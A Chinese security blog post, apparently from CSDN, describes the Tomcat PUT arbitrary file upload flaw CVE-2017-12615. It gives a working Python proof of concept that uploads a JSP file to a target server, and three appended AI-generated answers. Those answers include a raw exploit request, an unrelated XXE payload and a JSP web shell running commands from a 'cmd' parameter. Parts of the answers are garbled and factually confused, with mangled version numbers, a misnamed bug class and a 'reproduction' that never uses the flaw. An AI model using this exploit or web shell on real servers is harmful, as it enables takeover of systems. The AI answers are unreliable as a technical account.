CVE-2017-12615(Tomcat PUT方法任意写文件漏洞)

本文详细解析了CVE-2017-12615漏洞,当Tomcat在Windows环境下运行并启用HTTP PUT请求时,攻击者可能通过构造特定请求上传任意代码的JSP文件,导致服务器数据泄露或权限获取。文章提供了漏洞影响范围、利用条件及Python PoC示例。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

漏洞简介

当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。

影响范围:

Apache Tomcat 7.0.0 - 7.0.81

利用条件

打开Tomcat安装目录的Tomcat7.0\conf\web.xml添加如下配置,在Tomcat7.0版本下默认配置是开启readonly的,需要手动配置readonly为false才可以进行漏洞利用。

漏洞利用

漏洞poc:

#!/usr/bin/env python
"""
CVE-2017-12615, exploits the file type extension bypass in tomcat7.0.0-7.0.79 (maybe more?)
Pretty restrictive in that it requires PUTS to be enabled and is windows only.
Could be conducted in CURL commands... but this was more fun right

Sample file contentes "test.jsp": <% out.write("<html><body><h3>JSP file uploaded</h3></body></html>"); %>

Sample run:
root@kali:~/tomcat# ./ex.py --target 192.168.1.60 -r test1234.jsp --lfile test1.jsp
http://192.168.1.60:8080/test1234.jsp/
Hopefully done:)

Checking if there:

root@kali:~/tomcat# curl http://192.168.1.60:8080/test1234.jsp
<html><body><h3>JSP file uploaded</h3></body></html>

some obligatory thing about name: matthew fulton 
"""

import argparse
import requests as r
import sys


Help = """exploits CVE-2017-12615, lame but funny, by default will just try to put it in the\nroot of the webserver. Windows only unfortunately and requires PUTS to be enabled.""" 
parser=argparse.ArgumentParser(description=help)
parser.add_argument('--target', '-target', default="127.0.0.1", help="Target IP", required=True)
parser.add_argument('--port', '-p', default="8080")
parser.add_argument('--lfile', '-l', help="Full path to file. This is JSP file to upload")
parser.add_argument('--rfile', '-r', help="Remote system file name", default="test123.jsp")
args = parser.parse_args()
target = args.target
port = args.port
localfile = args.lfile
remotefile = args.rfile

url = "http://" + target+":"+port + "/" + remotefile + "/"

print url

def upload(url, localfile,remotefile):
	f=open(localfile, "r")
	rawfiledata = f.read()
	r.put(url,rawfiledata)
	print "Hopefully done:)"
	sys.exit(0)

def main():
	upload(url, localfile, remotefile)
if __name__ == '__main__':
	main()
### 回答1: cve-2017-12615漏洞是Apache Tomcat服务器中的一个远程代码执行漏洞。攻击者可以通过发送特定的HTTP请求来利用该漏洞,从而在服务器上执行任意代码。 要复现该漏洞,需要满足以下条件: 1. 目标服务器上运行的是Apache Tomcat 7..至7..79版本或8.5.至8.5.16版本。 2. 目标服务器上存在一个Web应用程序,其中包含一个可上传文件的Servlet。 3. 目标服务器上的Web应用程序未正确配置,允许攻击者上传包含恶意代码的JSP文件。 攻击者可以通过发送以下HTTP请求来利用该漏洞PUT /test.jsp/ HTTP/1.1 Host: target.com Connection: close Content-Length: 100 <% out.println("Hello, world!"); %> 其中,test.jsp是攻击者上传的包含恶意代码的JSP文件。攻击者还需要在请求中包含一个特殊的Content-Type头,以触发漏洞。 如果攻击成功,攻击者就可以在目标服务器上执行任意代码,包括获取敏感信息、修改数据或者控制整个服务器。因此,建议管理员及时升级Apache Tomcat服务器,或者对Web应用程序进行正确的配置和安全审计。 ### 回答2: CVE-2017-12615漏洞是Apache Tomcat中的一个目录遍历漏洞,它使得攻击者能够通过发送特定的HTTP请求,获取Tomcat服务器上应用程序的敏感信息。这种漏洞的原因是Tomcat默认启用了WebDAV(Web Distributed Authoring and Versioning)服务,攻击者可以发送特定的HTTP PUT请求利用该漏洞向服务器发送恶意的WAR文件,并且可以通过使用Windows UNC路径造成RCE漏洞。 下面是CVE-2017-12615漏洞的复现步骤: 1.安装Tomcat服务器 2.根据Tomcat的版本,下载特定的利用工具(e.g.,ysoserial.jar 或者wmx.jar)。 3.使用ysoserial.jar或者wmx.jar(如图所示)创建一个恶意文件,并通过PUT请求将它上传到目标服务器。 4.在表单中输入如下内容: PUT /test.txt/WEB-INF/web.xml HTTP/1.1 Host: [Tomcat address]:[listening port] User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Content-Type: application/xml Content-Length: 284 <?xml version="1.0"?> <!DOCTYPE x [ <!ELEMENT x ANY> <!ENTITY % p1 SYSTEM "file:///c:/windows/system32/test.bat"> <!ENTITY % p2 "<!ENTITY p3 '′%p1;%p1;′'>"> %p2;%p3; ]> 5.从服务器上获取war文件并进行反序列化,验证漏洞是否真实存在。 6.如果漏洞存在,则攻击者可以使用该漏洞获取Tomcat服务器上应用程序的敏感信息,并且可以在服务器上执行任意命令。 为了缓解该漏洞产生的风险,我们可以通过禁用WebDAV服务、运行Tomcat服务器以非特权用户身份、 对上传文件类型进行限制, 或者升级最新的Tomcat版本等方式来解决该漏洞。 ### 回答3: CVE-2017-12615 是 Apache Tomcat 中的一个远程代码执行漏洞。该漏洞存在于 Tomcat 7.0.0 到 7.0.79 版本和 Tomcat 8.5.0 到 8.5.16 版本中。攻击者可以利用该漏洞通过 HTTP 协议上传恶意 JSP 文件并执行任意命令。 为了演示该漏洞的复现,我们需要先搭建一个虚拟机环境来运行 Apache Tomcat。在这里,我们以 Ubuntu 16.04.6 LTS 作为漏洞环境的操作系统。 安装 Apache Tomcat 首先,我们需要安装 Apache Tomcat。在终端窗口中执行以下命令: sudo apt-get update sudo apt-get install tomcat7 安装完成后,我们可以通过访问以下 URL 来确认 Tomcat 是否成功安装: http://localhost:8080/ 如果可以看到 Tomcat 的欢迎页面,则说明安装成功。 复现漏洞 接下来,我们需要复现 CVE-2017-12615 漏洞。步骤如下: 1. 创建一个名为 test.jsp 的 JSP 文件,该文件包含以下代码: <% if ("POST".equals(request.getMethod())) { Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line = in.readLine()) != null) { out.println(line); } in.close(); } %> 2. 通过以下命令创建一个名为 test.war 的 Web 应用程序文件: jar -cvf test.war test.jsp 3. 接下来,我们需要在 Tomcat 的 webapps 目录下创建一个名为 test 目录。接着,将上传的 test.war 文件复制到该目录下: sudo mkdir /var/lib/tomcat7/webapps/test sudo mv test.war /var/lib/tomcat7/webapps/test/ 4. 通过以下 URL 访问 test.jsp 文件,可以发现该页面中含有一个命令执行的输入框: http://localhost:8080/test/test.jsp 5. 在输入框中输入以下命令,即可执行该命令并返回结果: cmd=ls 我们可以看到,这个漏洞可以允许攻击者上传包含恶意代码的 JSP 文件并执行恶意命令,扰乱服务器系统。因此,我们需要对 Apache Tomcat 应用程序服务器进行及时修复。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值